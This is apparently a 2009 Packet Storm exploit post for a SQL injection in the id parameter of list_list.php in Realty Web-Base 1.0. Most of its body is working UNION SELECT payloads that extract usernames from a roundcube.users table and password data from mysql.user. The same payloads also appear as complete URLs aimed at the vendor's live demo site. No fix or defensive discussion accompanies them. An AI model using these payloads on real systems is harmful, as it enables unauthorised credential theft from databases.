Realty Web-Base 1.0 SQL Injection

2009-05-21T00:00:00
ID PACKETSTORM:77695
Type packetstorm
Reporter ThE g0bL!N
Modified 2009-05-21T00:00:00

Description

                                        
                                            `---------------------------------------------------------------  
------------------------------------------------------------  
Realty Web-Base v1.0 (list_list.php id) SQL Injection Vulnerability   
---------------------------------------------------------------  
Founder : ThE g0bL!N  
Home:WwW.h4ckF0u.CoM  
Vendor:http://www.realtywebware.com  
---------------------------------------------------------------  
---------------------------------------------------------------  
SQL Injection Vulnerability   
------------------------------------------------  
Exploit F0r user:  
-----------------  
list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--  
Exploit For Pass:  
----------------  
list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--  
--------------------------------------  
Dem0  
----  
user:  
-----  
http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT%20username,2+from+roundcube.users--  
pass:  
----  
http://www.realtywebware.com/demo/list_list.php?id=-1+UNION%20SELECT+password,2+from+mysql.user--  
--------------------------------------  
Greeting To ALL My Friends (Dz)  
  
  
`